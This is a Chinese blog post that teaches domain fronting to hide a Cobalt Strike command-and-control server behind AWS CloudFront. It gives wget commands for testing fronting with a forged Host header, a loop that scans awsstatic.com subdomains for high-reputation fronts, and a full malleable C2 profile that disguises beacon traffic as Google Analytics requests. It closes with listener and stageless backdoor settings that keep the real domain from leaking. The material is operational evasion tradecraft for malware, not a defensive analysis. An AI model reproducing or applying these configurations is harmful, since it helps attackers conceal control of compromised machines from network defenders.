C2隐藏Domain Fronting

介绍:Domain Frontin域前置,是一种用于隐藏真实C2服务器IP且同时能伪装为与高信誉域名通信的技术,多用于木马受控端和控制端之间的隐蔽通信。

#原理

Domain Fronting 的核心技术是 CDN,1台 CDN 会同时负责多个网站的加速服务,如果我访问的两个网站(a.com 和 b.com)都是由同1台 CDN 服务器(1.1.1.1)进行加速服务,那么当我使用浏览器访问这两个域名时,浏览器实际上访问的都是 1.1.1.1 这台 CDN 服务器,但我在浏览器访问的域名有可能是 a.com 也可能是 b.com,所以 1.1.1.1 这台 CDN 服务器必须清楚地知道我访问的是哪个域名,然后才能给我返回对应域名的内容,在和 CDN 服务器通信时,在 HTTP 请求包的 Host 头中填入我们要访问的域名。

 

一、CloudFront服务,https://console.aws.amazon.com/cloudfront/home

 

 

 

 

 

设置完成后会分配到一个域名,xxxx.cloudfront.net

 

接下来可以用wget测试一下C2域名,

 

wget -q -O - http://yiwang.com/test.txt

123

#这个是刚刚分配出来的域名,可以请求到test.txt内容 wget -q -O - http://xxxx.cloudfront.net/test.txt 123

修改HOST主机头为CloudFront分配的域名

wget -U demo -q -O - http://a0.awsstatic.com/test.txt --header "Host: xxxxx.cloudfront.net"

123

可以使用高信誉域名来代替我们自己的域名

寻找高信誉域名:for i in {a..z}; do for j in {0..9}; do wget -U demo -q -O - http://$i$j.awsstatic.com/test.txt --header "Host: *.cloudfront.net" && echo $i$j; done;done

Cobaltstrike应用准备C2 profile,其中需要替换掉host内容

# make our C2 look like a Google Web Bug
# https://developers.google.com/analytics/resources/articles/gaTrackingTroubleshooting
#
# Author: @armitagehacker

http-get {
	set uri "/__utm.gif";
	client {
		parameter "utmac" "UA-2202604-2";
		parameter "utmcn" "1";
		parameter "utmcs" "ISO-8859-1";
		parameter "utmsr" "1280x1024";
		parameter "utmsc" "32-bit";
		parameter "utmul" "en-US";

		header "Host" "*.cloudfront.net";

		metadata {
			netbios;
			prepend "__utma";
			parameter "utmcc";
		}
	}

	server {
		header "Content-Type" "image/gif";

		output {
			# hexdump pixel.gif
			# 0000000 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00
			# 0000010 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00
			# 0000020 01 00 01 00 00 02 01 44 00 3b 

			prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
			prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
			prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";

			print;
		}
	}
}

http-post {
	set uri "/___utm.gif";
	client {
		header "Content-Type" "application/octet-stream";

		id {
			prepend "UA-220";
			append "-2";
			parameter "utmac";
		}

		parameter "utmcn" "1";
		parameter "utmcs" "ISO-8859-1";
		parameter "utmsr" "1280x1024";
		parameter "utmsc" "32-bit";
		parameter "utmul" "en-US";

		header "Host" "*.cloudfront.net";

		output {
			print;
		}
	}

	server {
		header "Content-Type" "image/gif";

		output {
			prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
			prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
			prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
			print;
		}
	}
}

# dress up the staging process too
http-stager {
	server {
		header "Content-Type" "image/gif";
	}
}

使用./c2lint测试看程序是否正常启动cs创建listener

 

 创建listener的时候host填写CloudFront分配的域名,beacons处填写高信誉域名

 

 

 这种配置方式后门在进行通信时会出现一次请求*.cloudfront.net域名,然后再切换到高信誉域名进行通信,这种通信会泄露了*.cloudfront.net域名,第一次请求就使用高信誉域名的的话,即创建监听器时把Host填写为高信誉域名,需要使用Stageless模式创建backdoor。

 

 

Stageless模式:

 

 

 参考链接:

1.https://blog.donot.me/domain-fronted/

2.https://bbs.sangfor.com.cn/forum.php?mod=viewthread&tid=71715#/

3.https://evi1cg.me/archives/Domain_Fronting.html

posted @ 2019-12-06 11:19  aoaoaoao  阅读(1182)  评论(0编辑  收藏  举报